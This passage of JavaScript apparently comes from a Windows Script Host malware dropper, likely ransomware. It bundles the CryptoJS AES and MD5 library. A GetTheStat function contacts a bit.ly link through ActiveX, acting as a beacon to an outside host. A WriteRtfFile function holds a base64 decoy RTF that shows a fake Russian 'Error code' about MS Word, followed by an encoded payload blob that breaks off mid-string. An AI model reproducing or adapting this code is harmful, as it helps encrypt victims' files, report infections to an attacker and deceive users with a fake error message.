a = a.sigBytes;
for (var e = [], j = 0; j < a; j++) e.push(String.fromCharCode(c[j >>> 2] >>> 24 - 8 * (j % 4) & 255));
return e.join("")
},
parse: function(a) {
for (var c = a.length, e = [], j = 0; j < c; j++) e[j >>> 2] |= (a.charCodeAt(j) & 255) << 24 - 8 * (j % 4);
return new r.init(e, c)
}
},
x = w.Utf8 = {
stringify: function(a) {
try {
return decodeURIComponent(escape(b.stringify(a)))
} catch (c) {
throw Error("Malformed UTF-8 data")
}
},
parse: function(a) {
return b.parse(unescape(encodeURIComponent(a)))
}
},
q = l.BufferedBlockAlgorithm = t.extend({
reset: function() {
this._data = new r.init;
this._nDataBytes = 0
},
_append: function(a) {
"string" == typeof a && (a = x.parse(a));
this._data.concat(a);
this._nDataBytes += a.sigBytes
},
_process: function(a) {
var c = this._data,
e = c.words,
j = c.sigBytes,
k = this.blockSize,
b = j / (4 * k),
b = a ? u.ceil(b) : u.max((b | 0) - this._minBufferSize, 0);
a = b * k;
j = u.min(4 * a, j);
if (a) {
for (var q = 0; q < a; q += k) this._doProcessBlock(e, q);
q = e.splice(0, a);
c.sigBytes -= j
}
return new r.init(q, j)
},
clone: function() {
var a = t.clone.call(this);
a._data = this._data.clone();
return a
},
_minBufferSize: 0
});
l.Hasher = q.extend({
cfg: t.extend(),
init: function(a) {
this.cfg = this.cfg.extend(a);
this.reset()
},
reset: function() {
q.reset.call(this);
this._doReset()
},
update: function(a) {
this._append(a);
this._process();
return this
},
finalize: function(a) {
a && this._append(a);
return this._doFinalize()
},
blockSize: 16,
_createHelper: function(a) {
return function(b, e) {
return (new a.init(e)).finalize(b)
}
},
_createHmacHelper: function(a) {
return function(b, e) {
return (new n.HMAC.init(a, e)).finalize(b)
}
}
});
var n = d.algo = {};
return d
}(Math);
(function() {
var u = CryptoJS,
p = u.lib.WordArray;
u.enc.Base64 = {
stringify: function(d) {
var l = d.words,
p = d.sigBytes,
t = this._map;
d.clamp();
d = [];
for (var r = 0; r < p; r += 3)
for (var w = (l[r >>> 2] >>> 24 - 8 * (r % 4) & 255) << 16 | (l[r + 1 >>> 2] >>> 24 - 8 * ((r + 1) % 4) & 255) << 8 | l[r + 2 >>> 2] >>> 24 - 8 * ((r + 2) % 4) & 255, v = 0; 4 > v && r + 0.75 * v < p; v++) d.push(t.charAt(w >>> 6 * (3 - v) & 63));
if (l = t.charAt(64))
for (; d.length % 4;) d.push(l);
return d.join("")
},
parse: function(d) {
var l = d.length,
s = this._map,
t = s.charAt(64);
t && (t = d.indexOf(t), -1 != t && (l = t));
for (var t = [], r = 0, w = 0; w < l; w++)
if (w % 4) {
var v = s.indexOf(d.charAt(w - 1)) << 2 * (w % 4),
b = s.indexOf(d.charAt(w)) >>> 6 - 2 * (w % 4);
t[r >>> 2] |= (v | b) << 24 - 8 * (r % 4);
r++
}
return p.create(t, r)
},
_map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
}
})();
(function(u) {
function p(b, n, a, c, e, j, k) {
b = b + (n & a | ~n & c) + e + k;
return (b << j | b >>> 32 - j) + n
}
function d(b, n, a, c, e, j, k) {
b = b + (n & c | a & ~c) + e + k;
return (b << j | b >>> 32 - j) + n
}
function l(b, n, a, c, e, j, k) {
b = b + (n ^ a ^ c) + e + k;
return (b << j | b >>> 32 - j) + n
}
function s(b, n, a, c, e, j, k) {
b = b + (a ^ (n | ~c)) + e + k;
return (b << j | b >>> 32 - j) + n
}
for (var t = CryptoJS, r = t.lib, w = r.WordArray, v = r.Hasher, r = t.algo, b = [], x = 0; 64 > x; x++) b[x] = 4294967296 * u.abs(u.sin(x + 1)) | 0;
r = r.MD5 = v.extend({
_doReset: function() {
this._hash = new w.init([1732584193, 4023233417, 2562383102, 271733878])
},
_doProcessBlock: function(q, n) {
for (var a = 0; 16 > a; a++) {
var c = n + a,
e = q[c];
q[c] = (e << 8 | e >>> 24) & 16711935 | (e << 24 | e >>> 8) & 4278255360
}
var a = this._hash.words,
c = q[n + 0],
e = q[n + 1],
j = q[n + 2],
k = q[n + 3],
z = q[n + 4],
r = q[n + 5],
t = q[n + 6],
w = q[n + 7],
v = q[n + 8],
A = q[n + 9],
B = q[n + 10],
C = q[n + 11],
u = q[n + 12],
D = q[n + 13],
E = q[n + 14],
x = q[n + 15],
f = a[0],
m = a[1],
g = a[2],
h = a[3],
f = p(f, m, g, h, c, 7, b[0]),
h = p(h, f, m, g, e, 12, b[1]),
g = p(g, h, f, m, j, 17, b[2]),
m = p(m, g, h, f, k, 22, b[3]),
f = p(f, m, g, h, z, 7, b[4]),
h = p(h, f, m, g, r, 12, b[5]),
g = p(g, h, f, m, t, 17, b[6]),
m = p(m, g, h, f, w, 22, b[7]),
f = p(f, m, g, h, v, 7, b[8]),
h = p(h, f, m, g, A, 12, b[9]),
g = p(g, h, f, m, B, 17, b[10]),
m = p(m, g, h, f, C, 22, b[11]),
f = p(f, m, g, h, u, 7, b[12]),
h = p(h, f, m, g, D, 12, b[13]),
g = p(g, h, f, m, E, 17, b[14]),
m = p(m, g, h, f, x, 22, b[15]),
f = d(f, m, g, h, e, 5, b[16]),
h = d(h, f, m, g, t, 9, b[17]),
g = d(g, h, f, m, C, 14, b[18]),
m = d(m, g, h, f, c, 20, b[19]),
f = d(f, m, g, h, r, 5, b[20]),
h = d(h, f, m, g, B, 9, b[21]),
g = d(g, h, f, m, x, 14, b[22]),
m = d(m, g, h, f, z, 20, b[23]),
f = d(f, m, g, h, A, 5, b[24]),
h = d(h, f, m, g, E, 9, b[25]),
g = d(g, h, f, m, k, 14, b[26]),
m = d(m, g, h, f, v, 20, b[27]),
f = d(f, m, g, h, D, 5, b[28]),
h = d(h, f, m, g, j, 9, b[29]),
g = d(g, h, f, m, w, 14, b[30]),
m = d(m, g, h, f, u, 20, b[31]),
f = l(f, m, g, h, r, 4, b[32]),
h = l(h, f, m, g, v, 11, b[33]),
g = l(g, h, f, m, C, 16, b[34]),
m = l(m, g, h, f, E, 23, b[35]),
f = l(f, m, g, h, e, 4, b[36]),
h = l(h, f, m, g, z, 11, b[37]),
g = l(g, h, f, m, w, 16, b[38]),
m = l(m, g, h, f, B, 23, b[39]),
f = l(f, m, g, h, D, 4, b[40]),
h = l(h, f, m, g, c, 11, b[41]),
g = l(g, h, f, m, k, 16, b[42]),
m = l(m, g, h, f, t, 23, b[43]),
f = l(f, m, g, h, A, 4, b[44]),
h = l(h, f, m, g, u, 11, b[45]),
g = l(g, h, f, m, x, 16, b[46]),
m = l(m, g, h, f, j, 23, b[47]),
f = s(f, m, g, h, c, 6, b[48]),
h = s(h, f, m, g, w, 10, b[49]),
g = s(g, h, f, m, E, 15, b[50]),
m = s(m, g, h, f, r, 21, b[51]),
f = s(f, m, g, h, u, 6, b[52]),
h = s(h, f, m, g, k, 10, b[53]),
g = s(g, h, f, m, B, 15, b[54]),
m = s(m, g, h, f, e, 21, b[55]),
f = s(f, m, g, h, v, 6, b[56]),
h = s(h, f, m, g, x, 10, b[57]),
g = s(g, h, f, m, t, 15, b[58]),
m = s(m, g, h, f, D, 21, b[59]),
f = s(f, m, g, h, z, 6, b[60]),
h = s(h, f, m, g, C, 10, b[61]),
g = s(g, h, f, m, j, 15, b[62]),
m = s(m, g, h, f, A, 21, b[63]);
a[0] = a[0] + f | 0;
a[1] = a[1] + m | 0;
a[2] = a[2] + g | 0;
a[3] = a[3] + h | 0
},
_doFinalize: function() {
var b = this._data,
n = b.words,
a = 8 * this._nDataBytes,
c = 8 * b.sigBytes;
n[c >>> 5] |= 128 << 24 - c % 32;
var e = u.floor(a / 4294967296);
n[(c + 64 >>> 9 << 4) + 15] = (e << 8 | e >>> 24) & 16711935 | (e << 24 | e >>> 8) & 4278255360;
n[(c + 64 >>> 9 << 4) + 14] = (a << 8 | a >>> 24) & 16711935 | (a << 24 | a >>> 8) & 4278255360;
b.sigBytes = 4 * (n.length + 1);
this._process();
b = this._hash;
n = b.words;
for (a = 0; 4 > a; a++) c = n[a], n[a] = (c << 8 | c >>> 24) & 16711935 | (c << 24 | c >>> 8) & 4278255360;
return b
},
clone: function() {
var b = v.clone.call(this);
b._hash = this._hash.clone();
return b
}
});
t.MD5 = v._createHelper(r);
t.HmacMD5 = v._createHmacHelper(r)
})(Math);
(function() {
var u = CryptoJS,
p = u.lib,
d = p.Base,
l = p.WordArray,
p = u.algo,
s = p.EvpKDF = d.extend({
cfg: d.extend({
keySize: 4,
hasher: p.MD5,
iterations: 1
}),
init: function(d) {
this.cfg = this.cfg.extend(d)
},
compute: function(d, r) {
for (var p = this.cfg, s = p.hasher.create(), b = l.create(), u = b.words, q = p.keySize, p = p.iterations; u.length < q;) {
n && s.update(n);
var n = s.update(d).finalize(r);
s.reset();
for (var a = 1; a < p; a++) n = s.finalize(n), s.reset();
b.concat(n)
}
b.sigBytes = 4 * q;
return b
}
});
u.EvpKDF = function(d, l, p) {
return s.create(p).compute(d, l)
}
})();
CryptoJS.lib.Cipher || function(u) {
var p = CryptoJS,
d = p.lib,
l = d.Base,
s = d.WordArray,
t = d.BufferedBlockAlgorithm,
r = p.enc.Base64,
w = p.algo.EvpKDF,
v = d.Cipher = t.extend({
cfg: l.extend(),
createEncryptor: function(e, a) {
return this.create(this._ENC_XFORM_MODE, e, a)
},
createDecryptor: function(e, a) {
return this.create(this._DEC_XFORM_MODE, e, a)
},
init: function(e, a, b) {
this.cfg = this.cfg.extend(b);
this._xformMode = e;
this._key = a;
this.reset()
},
reset: function() {
t.reset.call(this);
this._doReset()
},
process: function(e) {
this._append(e);
return this._process()
},
finalize: function(e) {
e && this._append(e);
return this._doFinalize()
},
keySize: 4,
ivSize: 4,
_ENC_XFORM_MODE: 1,
_DEC_XFORM_MODE: 2,
_createHelper: function(e) {
return {
encrypt: function(b, k, d) {
return ("string" == typeof k ? c : a).encrypt(e, b, k, d)
},
decrypt: function(b, k, d) {
return ("string" == typeof k ? c : a).decrypt(e, b, k, d)
}
}
}
});
d.StreamCipher = v.extend({
_doFinalize: function() {
return this._process(!0)
},
blockSize: 1
});
var b = p.mode = {},
x = function(e, a, b) {
var c = this._iv;
c ? this._iv = u : c = this._prevBlock;
for (var d = 0; d < b; d++) e[a + d] ^= c[d]
},
q = (d.BlockCipherMode = l.extend({
createEncryptor: function(e, a) {
return this.Encryptor.create(e, a)
},
createDecryptor: function(e, a) {
return this.Decryptor.create(e, a)
},
init: function(e, a) {
this._cipher = e;
this._iv = a
}
})).extend();
q.Encryptor = q.extend({
processBlock: function(e, a) {
var b = this._cipher,
c = b.blockSize;
x.call(this, e, a, c);
b.encryptBlock(e, a);
this._prevBlock = e.slice(a, a + c)
}
});
q.Decryptor = q.extend({
processBlock: function(e, a) {
var b = this._cipher,
c = b.blockSize,
d = e.slice(a, a + c);
b.decryptBlock(e, a);
x.call(this, e, a, c);
this._prevBlock = d
}
});
b = b.CBC = q;
q = (p.pad = {}).Pkcs7 = {
pad: function(a, b) {
for (var c = 4 * b, c = c - a.sigBytes % c, d = c << 24 | c << 16 | c << 8 | c, l = [], n = 0; n < c; n += 4) l.push(d);
c = s.create(l, c);
a.concat(c)
},
unpad: function(a) {
a.sigBytes -= a.words[a.sigBytes - 1 >>> 2] & 255
}
};
d.BlockCipher = v.extend({
cfg: v.cfg.extend({
mode: b,
padding: q
}),
reset: function() {
v.reset.call(this);
var a = this.cfg,
b = a.iv,
a = a.mode;
if (this._xformMode == this._ENC_XFORM_MODE) var c = a.createEncryptor;
else c = a.createDecryptor, this._minBufferSize = 1;
this._mode = c.call(a, this, b && b.words)
},
_doProcessBlock: function(a, b) {
this._mode.processBlock(a, b)
},
_doFinalize: function() {
var a = this.cfg.padding;
if (this._xformMode == this._ENC_XFORM_MODE) {
a.pad(this._data, this.blockSize);
var b = this._process(!0)
} else b = this._process(!0), a.unpad(b);
return b
},
blockSize: 4
});
var n = d.CipherParams = l.extend({
init: function(a) {
this.mixIn(a)
},
toString: function(a) {
return (a || this.formatter).stringify(this)
}
}),
b = (p.format = {}).OpenSSL = {
stringify: function(a) {
var b = a.ciphertext;
a = a.salt;
return (a ? s.create([1398893684, 1701076831]).concat(a).concat(b) : b).toString(r)
},
parse: function(a) {
a = r.parse(a);
var b = a.words;
if (1398893684 == b[0] && 1701076831 == b[1]) {
var c = s.create(b.slice(2, 4));
b.splice(0, 4);
a.sigBytes -= 16
}
return n.create({
ciphertext: a,
salt: c
})
}
},
a = d.SerializableCipher = l.extend({
cfg: l.extend({
format: b
}),
encrypt: function(a, b, c, d) {
d = this.cfg.extend(d);
var l = a.createEncryptor(c, d);
b = l.finalize(b);
l = l.cfg;
return n.create({
ciphertext: b,
key: c,
iv: l.iv,
algorithm: a,
mode: l.mode,
padding: l.padding,
blockSize: a.blockSize,
formatter: d.format
})
},
decrypt: function(a, b, c, d) {
d = this.cfg.extend(d);
b = this._parse(b, d.format);
return a.createDecryptor(c, d).finalize(b.ciphertext)
},
_parse: function(a, b) {
return "string" == typeof a ? b.parse(a, this) : a
}
}),
p = (p.kdf = {}).OpenSSL = {
execute: function(a, b, c, d) {
d || (d = s.random(8));
a = w.create({
keySize: b + c
}).compute(a, d);
c = s.create(a.words.slice(b), 4 * c);
a.sigBytes = 4 * b;
return n.create({
key: a,
iv: c,
salt: d
})
}
},
c = d.PasswordBasedCipher = a.extend({
cfg: a.cfg.extend({
kdf: p
}),
encrypt: function(b, c, d, l) {
l = this.cfg.extend(l);
d = l.kdf.execute(d, b.keySize, b.ivSize);
l.iv = d.iv;
b = a.encrypt.call(this, b, c, d.key, l);
b.mixIn(d);
return b
},
decrypt: function(b, c, d, l) {
l = this.cfg.extend(l);
c = this._parse(c, l.format);
d = l.kdf.execute(d, b.keySize, b.ivSize, c.salt);
l.iv = d.iv;
return a.decrypt.call(this, b, c, d.key, l)
}
})
}();
(function() {
for (var u = CryptoJS, p = u.lib.BlockCipher, d = u.algo, l = [], s = [], t = [], r = [], w = [], v = [], b = [], x = [], q = [], n = [], a = [], c = 0; 256 > c; c++) a[c] = 128 > c ? c << 1 : c << 1 ^ 283;
for (var e = 0, j = 0, c = 0; 256 > c; c++) {
var k = j ^ j << 1 ^ j << 2 ^ j << 3 ^ j << 4,
k = k >>> 8 ^ k & 255 ^ 99;
l[e] = k;
s[k] = e;
var z = a[e],
F = a[z],
G = a[F],
y = 257 * a[k] ^ 16843008 * k;
t[e] = y << 24 | y >>> 8;
r[e] = y << 16 | y >>> 16;
w[e] = y << 8 | y >>> 24;
v[e] = y;
y = 16843009 * G ^ 65537 * F ^ 257 * z ^ 16843008 * e;
b[k] = y << 24 | y >>> 8;
x[k] = y << 16 | y >>> 16;
q[k] = y << 8 | y >>> 24;
n[k] = y;
e ? (e = z ^ a[a[a[G ^ z]]], j ^= a[a[j]]) : e = j = 1
}
var H = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54],
d = d.AES = p.extend({
_doReset: function() {
for (var a = this._key, c = a.words, d = a.sigBytes / 4, a = 4 * ((this._nRounds = d + 6) + 1), e = this._keySchedule = [], j = 0; j < a; j++)
if (j < d) e[j] = c[j];
else {
var k = e[j - 1];
j % d ? 6 < d && 4 == j % d && (k = l[k >>> 24] << 24 | l[k >>> 16 & 255] << 16 | l[k >>> 8 & 255] << 8 | l[k & 255]) : (k = k << 8 | k >>> 24, k = l[k >>> 24] << 24 | l[k >>> 16 & 255] << 16 | l[k >>> 8 & 255] << 8 | l[k & 255], k ^= H[j / d | 0] << 24);
e[j] = e[j - d] ^ k
}
c = this._invKeySchedule = [];
for (d = 0; d < a; d++) j = a - d, k = d % 4 ? e[j] : e[j - 4], c[d] = 4 > d || 4 >= j ? k : b[l[k >>> 24]] ^ x[l[k >>> 16 & 255]] ^ q[l[k >>> 8 & 255]] ^ n[l[k & 255]]
},
encryptBlock: function(a, b) {
this._doCryptBlock(a, b, this._keySchedule, t, r, w, v, l)
},
decryptBlock: function(a, c) {
var d = a[c + 1];
a[c + 1] = a[c + 3];
a[c + 3] = d;
this._doCryptBlock(a, c, this._invKeySchedule, b, x, q, n, s);
d = a[c + 1];
a[c + 1] = a[c + 3];
a[c + 3] = d
},
_doCryptBlock: function(a, b, c, d, e, j, l, f) {
for (var m = this._nRounds, g = a[b] ^ c[0], h = a[b + 1] ^ c[1], k = a[b + 2] ^ c[2], n = a[b + 3] ^ c[3], p = 4, r = 1; r < m; r++) var q = d[g >>> 24] ^ e[h >>> 16 & 255] ^ j[k >>> 8 & 255] ^ l[n & 255] ^ c[p++],
s = d[h >>> 24] ^ e[k >>> 16 & 255] ^ j[n >>> 8 & 255] ^ l[g & 255] ^ c[p++],
t = d[k >>> 24] ^ e[n >>> 16 & 255] ^ j[g >>> 8 & 255] ^ l[h & 255] ^ c[p++],
n = d[n >>> 24] ^ e[g >>> 16 & 255] ^ j[h >>> 8 & 255] ^ l[k & 255] ^ c[p++],
g = q,
h = s,
k = t;
q = (f[g >>> 24] << 24 | f[h >>> 16 & 255] << 16 | f[k >>> 8 & 255] << 8 | f[n & 255]) ^ c[p++];
s = (f[h >>> 24] << 24 | f[k >>> 16 & 255] << 16 | f[n >>> 8 & 255] << 8 | f[g & 255]) ^ c[p++];
t = (f[k >>> 24] << 24 | f[n >>> 16 & 255] << 16 | f[g >>> 8 & 255] << 8 | f[h & 255]) ^ c[p++];
n = (f[n >>> 24] << 24 | f[g >>> 16 & 255] << 16 | f[h >>> 8 & 255] << 8 | f[k & 255]) ^ c[p++];
a[b] = q;
a[b + 1] = s;
a[b + 2] = t;
a[b + 3] = n
},
keySize: 8
});
u.AES = p._createHelper(d)
})();
function GetTheStat() {
try {
var req = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
req.open("GET", "http://bit.ly/2bL50DO", !1);
req.send();
return 0
} catch (e) {
return 0
}
}
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min
}
function random_sep() {
var separator = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < 5; i++)
separator += possible.charAt(Math.floor(Math.random() * possible.length));
return separator
}
var separator = random_sep();
function WriteRtfFile() {
var based_data = "e1xydGYxXGFuc2lcYW5zaWNwZzEyNTFcZGVmZjBcZGVmbGFuZzEwNDl7XGZvbnR0Ymx7XGYwXGZzd2lzc1xmcHJxMlxmY2hhcnNldDIwNHtcKlxmbmFtZSBBcmlhbDt9QXJpYWwgQ1lSO319DQp7XGNvbG9ydGJsIDtccmVkMjU1XGdyZWVuMFxibHVlMDtccmVkMFxncmVlbjBcYmx1ZTA7XHJlZDBcZ3JlZW4wXGJsdWUyNTU7XHJlZDE5MlxncmVlbjE5MlxibHVlMTkyO1xyZWQxMjhcZ3JlZW4xMjhcYmx1ZTEyODt9DQp7XCpcZ2VuZXJhdG9yIE1zZnRlZGl0IDUuNDEuMTUuMTUxNTt9XHZpZXdraW5kNFx1YzFccGFyZFxub3dpZGN0bHBhclxjZjFcYlxmMFxmczIyXCdjZVwnZjhcJ2U4XCdlMVwnZWFcJ2UwISBFcnJvciBjb2RlICgwMDM0ODMyKVxwYXINClxjZjJcYjBcZnMyNFxwYXINClxmczIyXCdkZFwnZjJcJ2VlXCdmMiBcJ2U0XCdlZVwnZWFcJ2YzXCdlY1wnZTVcJ2VkXCdmMiBcJ2UxXCdmYlwnZWIgXCdmMVwnZWVcJ2U3XCdlNFwnZTBcJ2VkIFwnZTIgXCdlMVwnZWVcJ2ViXCdlNVwnZTUgXCdlZFwnZWVcJ2UyXCdlZVwnZTkgXCdlMlwnZTVcJ2YwXCdmMVwnZThcJ2U4IFxiIE1TIFdvcmQgXGIwXCdlOCBcJ2VkXCdlNSBcJ2VjXCdlZVwnZTZcJ2U1XCdmMiBcJ2UxXCdmYlwnZjJcJ2ZjIFwnZWVcJ2YyXCdlYVwnZjBcJ2ZiXCdmMiBcJ2MyXCdlMFwnZjhcJ2U1XCdlOSBcJ2UyXCdlNVwnZjBcJ2YxXCdlOFwnZTVcJ2U5IFdvcmRQYWRccGFyDQpcJ2NlXCdlMVwnZjBcJ2UwXCdmMlwnZThcJ2YyXCdlNVwnZjFcJ2ZjIFwnZWEgXCdlOFwnZTdcJ2U0XCdlMFwnZjJcJ2U1XCdlYlwnZmUgXCdmNFwnZTBcJ2U5XCdlYlwnZTAgXCdlOFwnZWJcJ2U4IFwnZWVcJ2YyXCdlYVwnZjBcJ2VlXCdlOVwnZjJcJ2U1IFwnZjFcJ2VlXCdlNFwnZTVcJ2YwXCdlNlwnZThcJ2VjXCdlZVwnZTUgXCdlZlwnZjBcJ2U4IFwnZWZcJ2VlXCdlY1wnZWVcJ2Y5XCdlOCBcYiBNUyBXb3JkIDIwMTNcY2YzXGZzMjRccGFyDQpcY2YwXGIwXGZzMjBccGFyDQpcY2YyXGJcJ2NkXCdlNVwnZWFcJ2VlXCdmMlwnZWVcJ2YwXCdmYlwnZTUgXCdmZFwnZWJcJ2U1XCdlY1wnZTVcJ2VkXCdmMlwnZmIgXCdmMVwnZWVcJ2U0XCdlNVwnZjBcJ2U2XCdlOFwnZWNcJ2VlXCdlM1wnZWUgXCdlY1wnZWVcJ2UzXCdmM1wnZjIgXCdlZVwnZjJcJ2VlXCdlMVwnZjBcJ2UwXCdlNlwnZTBcJ2YyXCdmY1wnZjFcJ2ZmIFwnZWRcJ2U1XCdlYVwnZWVcJ2YwXCdmMFwnZTVcJ2VhXCdmMlwnZWRcJ2VlXGNmMVxwYXINClxjZjJcZnMyNCAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxwYXINClxjZjRcYjAgK0d6NFBQZ3lEaWlLbk90ZUtKaU9LSnBjNm1JTTZUSU02bXdySGlpS25paWFUUGdNK0RMaURpbEt6Q3NjK0RJT0tJbnVLSW1pRGlpSjdPdGM2MDRvbUl6ckhPdE02bUlNNm1JTUsxenFQT3NjNjB6cVlnenFuT3NjNnB6clhPbUMzUGhzNm13NS9paWFUT28rS0J2eURpaWFIT3NjK0V6cFBDb00rRXpxbk9waTRnNHBXcXpySGlpYVhPdGM2VElNK0d6NE1nNG9pcHpyWE9vOCtHenFiaWlKN09zYzYwSU0rQXpyWE90TTYxenBQaWlKb3NJTTZ4SU9LVnBPS0pwYytENG9pcHpySFBoaURpbGFYaWlhSE90ZUtNb002bTRvaWV6clhPazg2bTRvbUlJTU9mNG9pYXpyUWd6cE1nd3JIaWlKN0NvT0tKcGMrRHo0Yk9wczZtTENET3FjNnh6cWtndzUvaWlhVE9vK0tKcGM2MUlNNlR6clVnenBQQ3NjK0Q0b2llSU02VHpxYlBoczYxenBQT3NlS0pwZUtJbXM2WU95RGlpS25PdGVLSnBTRE9rK0tJbXNLeDRvbWw0b21rNG9pcHpxYk90Q0RQaHM2eElNK0R6NERPdFNET2s4Nm13ckhPcWM2eDRveWhMaURpbG9BZ3pwUFBoTStBenJUQ29NK0c0b21renJRZ3o0Yk9zU0RpbGFiT3BzK0U0b21rSUNqT3RjK0d6ckVnd3JIT3BzNmp6NFBPdE02eElNNlRJT0tKcE0rQXpyVGlpYVFzSU9LSXFjNjE0b21JNG9tbHpxWWc0b21od3FET284NjE0b2llSU1LeElPS1ZxczZ4NG9tbHpyWE9rK0tJbXVLSW5pa3VJT0tVdk0rRElNK0F6clRPc2MrRXpyRWd6NFRPdGVLSm9jNnB6clVnNG9pcHo0UGlpYUhQZzhPZno0UFBnTTZ4enJUT3BpRE90ZUtKcFNEaWxLek9zZUtKb2M2VHpySGlpYUhpaUpvZzRwV256NFBpaWFYaWlhSE90YzZUejRiaWlKb2d6cWtnNG95aDRvbWh6clhpaUo3T3RjNllJTUsxejRQUGh1S0ltYzZtejRiUGd5RE9waURPdGNPZjRvbWh6ckhpaWFYUGhzNjFPeURQaHM2eElNK0E0b21rdzUvT3NlS01vU0RQZzgrRElNNnA0b21oenFiT2s4Nm16clRPc2NLeDRvRy9JT0tKcE02MDRvaWF3NS9PcWM2eExDRFBoczYxSU0rR3o0UGlqS0hPdGVLSm9jNjF3ckRPc2NLZ0xpRGlsS3pPc2VLSm9jNlR6ckhpaWFIT3NTRGlsYWZQZytLSnBlS0pvYzYxenBQUGhzNnhJTTZUenFiT284K0R6clRPc1NEQ3N1S0pwZUtKcENEaWlhVE90T0tJbXNPZnpxbmlpYVF1SU9LVWxDRGlpSjdQZzhLMXpxUGlpYVFnNG9tbHo0UGlpSjRnNHBXZ3pySGlpYUhpZ2IvQ29DRGlsYVhPcHVLSW5zNjE0b3lnejRQUGc4NlR6NGJPc1NEaWlhVE9rODYwejRQT3FjNjB6ckhDc2VLQnZ5RENzYzYxenBQUGcrS0pvY0t3ejRQUGhzK0d6clU2SU02MXo0Yk9zU0RDc1NEUGhzNnh3ckhPdE02eHdyWE9vOCtEejRiT3BzK0Q0b2llSU02bUlNK0d6cWJpaUo3T3NjNjB6clVnejRiUGd5RE9xYzYxejRiaWpLRGlpYVRQaE1LZ3dySGlnYjhnNG9taHpySENzY0t4NG9pZXpySGlpYVhpaWFIT3BzNlR6ckhPdE02eElPS0lxZUtKb2MrRHpxbmlpYUhPc2NLeHo0YmlpYVRpbHFBZ3o0RE90Y0t4NG9tbHpxYlBodUtKcE9LV29DRGlsS3pPc2VLSm9jNlR6ckhpaWFIaWlKb2c0cFduejRQaWlhWGlpYUhPdGM2VHo0YmlpSm9ndzdrZzRvaWV6NFBEbjg2MHpxYmlpYUhPdGM2VHpxbmlpYVFzSU02cHpyWE9rK0tKb2VLSW1pd2d6cW5Pc2VLSm9lS0pwYzZtejRiaWlKb2d6NGJPc1NEQ3NlS0pwYytEejRiT3NlS01vU3dnd3JIaWlhWE9zZUtKb2M2bXo0YlBodUtJbXM2WUlPS0pvYzZ4d3JIaWlLbk9wc0t4ejRiT3RjNllJT0tJcWM2MTRvbWx6clhPdE02MXpxa3NJTU9menJYT3RPS0J2OEt3enJYUGd5RERuK0tKb2M2MXo0YlBoTTYxenBQT3RjK0RJT0tKb2M2eHdySGlpS25Db09LSnBjNm16NE1nenBNZzRvbWt6NERPdE9LSnBDd2c0b3lnenJIaWlhSGlqS0RPdGVLSm9jNjF6cFBpaWFUaWxxQWd6clRPc2VLSW51S0lxZUtKcEN3Z3pySE90T0tCdjhPZnpyWGlpSjdpaUpvc0lNNlR6NFBpaUpuT3BzTzM0b2lhSU0rR3pyRWd3ckhpaWFYT3RjNjB6NE11SU1PNUlPS1ZwYzZ4enFrZ3pxWWc0b21sNG9pYUlPS0pwZUtKcE9LSnBTd2c0cFdxenJIaWlhWGlpYVRDc002cHpyRWhJTU81SU02VHpyWENzYzZwenJUT3BzNnB6NGJpaWFUT3RNNnhJTTYxejRiT3NTRE9rODZqNG9taDRvbWt6NEFzSU1PNUlPS0lxZUtKb2MrRHpxUENzZUtKcGM2eHpwUGlnYjhzSU1LZ0lNNmp6ckhPazgrR3pyVWc0b21sejRQRG44S2dJTTZUenFiQ3RlS0pwQ3dnenFQT3NTRE9vK0tKcE9LSW5zNng0cGFnT2lEUGhzK0RJTTYxejRZaElPS1ZxYzZ4enFrZ3pyWFBoaURDc2VLV29NNmp6ckVnNG9pcDRvbWh6clhQZzg2ano0UGlpYVVoSU1PNUlNNm1JTTZUejRQQ3NjK0R6clRPdFNEaWlhSE9zY0t4d3JIaWlKN1BnOEtnenJUT3NjS3g0b0cvTGlERHVTRGlsS3ppaUpvZ3o0VFBoczZ4ejRQaWlhWFBneURDc3VLSnBlS0pwQ0RDdGMrRHo0Yk9wdUtJbWVLSnBEOGd3N2tnNG9tbHpyWGlpYVhpaVlqT3NjS3hJTTYxdzUvUGcrS0pvYytHNG9ta3pyVE9zY0t4NG9HL0lNNnBJTStHejRQaWlKN2lpYVFnNHBTc3pySGlpYUhPazg2eDRvbWh6ckVnNHBXbno0UGlpYVhpaWFIT3RjNlR6NGJPc1M0Z3c3a2c0cFdmejRiT3NlS1dvQzNDc1N3Z3c3a2c0b2lwNG9taHpyWERuODYxNG9taDRvaWV6clhpaWFYT3NjNjBJT0tWcXM2eDRvbWx6clhPa3l3ZzRvbWw0b21oenJYUGh1S0pwTTYwd3JIQ29DRERuK0tJbXM2MHpyVWd6NGJPc1NEQ3NlS0pwZUtKcE02MHo0TXNJTStHenJVZ3pyWENzZUtKcGM2eHpyVENzY0tnSU1LeHpxYk9vOCtENG9tbDRvRy9MaUREdVNEaWxhdmlpYVhPdFNEQ3RjK0RJTTZUNG9pYUlNK0V6NGJPc2MrRDRvbWx6NE0vSU9LVnA4NjF3clhPc2M2MDRvbWt6cGpDc2VLSnBjNnhMQ0RpaUtuT3RjS3h6cW5PdGVLSm9jK0R6cGdoSU1PNUlPS1VnTTZ4SU9LSmlPS0pwYzYxTGk0dUlNTzVJT0tKcE9LTW9lS0ludUtJbXM2MDRvRy96NGJpaWFUT3RNS3h3cUFnenJYUGhpRFBocytEejRiaWlhVEN0YytHenJYT21DRGlpYVRPdE9LSW1zT2Z6cW5PdGM2WUlNNm1JTStFenJIaWlLblBodUtKcE02MHdySENvQzR1TGlERHVTRENzYzZ4NG9pZXpxWWd6cFBPcHM2anpxYmlpYVhQZ3k0Z3c3a2c0cFdyNG9tbHpyVWd6cFBPcHNLMTRvbWtQeURpbElET3NTRFBodUtKcENEQ3RjK0RMQ0RQZ002MXpwUE90ZUtKb2M2bTRvbWx6NE1nNG9tSTRvbWx6clV0ejRiT3BzT2Y0b21renFQaWdiOGhJTU81SU9LVm5zNm16cFBQZytLSnBTRE9reURpaWFYT3RlS0luaURPbzg2MTRvaWV6NE1zSU0rQXpxUFBneURDb